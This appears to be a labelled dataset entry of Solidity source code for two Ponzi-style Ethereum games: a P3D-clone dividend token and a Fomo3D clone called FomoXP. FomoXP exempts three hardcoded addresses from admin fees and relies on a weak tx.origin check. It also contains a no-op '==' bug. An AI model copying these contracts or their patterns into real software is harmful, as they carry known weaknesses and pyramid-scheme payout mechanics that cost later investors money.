event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Boss Wage";
string public symbol = "BSW";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
P3D constant public p3d = P3D(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) public disabled;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
address public vault;
constructor() public {
vault = msg.sender;
administrators[keccak256(msg.sender)] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.sender, msg.value, _referredBy);
}
function()
payable
public
{
if (msg.sender != address(p3d)) {
purchaseTokens(msg.sender, msg.value, 0x0);
}
}
function reinvest()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = getDividends(_customerAddress, false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(msg.sender, _dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function reinvestFor(address _for)
public
{
require(disabled[_for] == false);
uint256 _dividends = dividendsOf(_for);
uint256 _referrals = referralBalance_[_for];
require((_dividends + _referrals) > 0);
payoutsTo_[_for] += (int256) (_dividends * magnitude);
_dividends += _referrals;
referralBalance_[_for] = 0;
uint256 _tokens = purchaseTokens(_for, _dividends, msg.sender);
onReinvestment(_for, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = getDividends(_customerAddress, false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _undividedDividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _undividedDividends);
uint256 _bonus = SafeMath.div(_undividedDividends, dividendFee_);
uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.mul(_bonus, 2));
referralBalance_[vault] = SafeMath.add(referralBalance_[vault], _bonus);
p3d.buy.value(_bonus)(_customerAddress);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(getDividends(_customerAddress, true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _undividedDividends = tokensToEthereum_(_tokenFee);
uint256 _bonus = SafeMath.div(_undividedDividends, dividendFee_);
uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.mul(_bonus, 2));
referralBalance_[vault] = SafeMath.add(referralBalance_[vault], _bonus);
p3d.buy.value(_bonus)(_customerAddress);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function cannibalize() public {
address _customerAddress = address(this);
uint256 _dividends = getDividends(_customerAddress, false);
uint256 _referrals = referralBalance_[_customerAddress];
if (_dividends > 0) {
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
}
uint256 p3dDivs = p3d.myDividends(true);
if (p3dDivs > 0) {
p3d.withdraw();
_dividends = SafeMath.add(_dividends, p3dDivs);
}
_dividends += _referrals;
referralBalance_[_customerAddress] = 0;
require(_dividends > 0);
uint256 _tokens = purchaseTokens(_customerAddress, _dividends, msg.sender);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function toggle(bool _auto) public {
disabled[msg.sender] = _auto;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setVault(address _vault)
onlyAdministrator()
public
{
vault = _vault;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function getDividends(address _customerAddress, bool _includeReferralBonus)
public
view
returns(uint256)
{
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function contractDivs()
public
view
returns(uint256)
{
return SafeMath.add(getDividends(address(this), true), p3d.myDividends(true));
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(address _customerAddress, uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 [] memory bonus = new uint256[](2);
bonus[0] = SafeMath.div(_undividedDividends, 3);
bonus[1] = SafeMath.div(_undividedDividends, dividendFee_);
uint256 _dividends = SafeMath.sub(SafeMath.sub(_undividedDividends, bonus[0]), SafeMath.mul(bonus[1], 2));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
referralBalance_[vault] = SafeMath.add(referralBalance_[vault], bonus[1]);
p3d.buy.value(bonus[1])(_customerAddress);
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], bonus[0]);
} else {
_dividends = SafeMath.add(_dividends, bonus[0]);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function check() external {}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract P3D {
uint256 public stakingRequirement;
function buy(address _referredBy) public payable returns(uint256) {}
function balanceOf(address _customerAddress) view public returns(uint256) {}
function exit() public {}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) {}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { }
function myDividends(bool _includeReferralBonus) public view returns(uint256) {}
function withdraw() public {}
} | 1 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FomoXP is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x591C66bA5a3429FcAD0Fe11A0F58e56fE36b5A73);
address private admin = msg.sender;
string constant public name = "Fomo War Xpress";
string constant public symbol = "FWXP";
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 3 hours;
uint256 constant private pricePerBomb = 100000000000000 wei;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(32,0);
fees_[1] = F3Ddatasets.TeamFee(45,0);
fees_[2] = F3Ddatasets.TeamFee(65,0);
fees_[3] = F3Ddatasets.TeamFee(47,0);
potSplit_[0] = F3Ddatasets.PotSplit(47,0);
potSplit_[1] = F3Ddatasets.PotSplit(47,0);
potSplit_[2] = F3Ddatasets.PotSplit(65,0);
potSplit_[3] = F3Ddatasets.PotSplit(62,0);
}
modifier isActivated() {
require(activated_ == true, "ouch, ccontract is not ready yet !");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "nope, you're not an Human buddy !!");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, 2, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, 2, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, 2, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, 2, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, 2, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, 2, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
uint256 _adminFees;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0) {
if(
msg.sender == address(0xccf34611f4e2B7aC53Fc178B6e09530CCd263B3E)
|| msg.sender == address(0xc0dC21fDA277b9640378511efBEaB54ae6DD879D)
|| msg.sender == address(0x51E34B6B88F8d5934eE354B0aCA0fDA33A2b75f9) )
{
plyr_[_pID].addr.transfer(_eth);
}
else {
_adminFees = _eth.mul(3).div(100);
_eth = _eth.sub(_adminFees);
plyr_[_pID].addr.transfer(_eth);
admin.transfer(_adminFees);
}
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0) {
if(
msg.sender == address(0xccf34611f4e2B7aC53Fc178B6e09530CCd263B3E)
|| msg.sender == address(0xc0dC21fDA277b9640378511efBEaB54ae6DD879D)
|| msg.sender == address(0x51E34B6B88F8d5934eE354B0aCA0fDA33A2b75f9) )
{
plyr_[_pID].addr.transfer(_eth);
}
else {
_adminFees = _eth.mul(3).div(100);
_eth = _eth.sub(_adminFees);
plyr_[_pID].addr.transfer(_eth);
admin.transfer(_adminFees);
}
}
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
pure
returns(uint256)
{
return ( pricePerBomb );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(25)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256,uint256,bytes32)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth ,
plyr_[_pID].laff,
plyr_[plyr_[_pID].laff].name
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 10000000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 100000000000000000000)
{
uint256 _availableLimit = (100000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = _eth.div(pricePerBomb).mul(1000000000000000000);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _eth, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _affID, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
pure
returns(uint256)
{
return ( (_eth).div(pricePerBomb).mul(1000000000000000000) );
}
function iWantXKeys(uint256 _keys)
public
pure
returns(uint256)
{
return ( (_keys).mul(pricePerBomb).div(1000000000000000000) );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
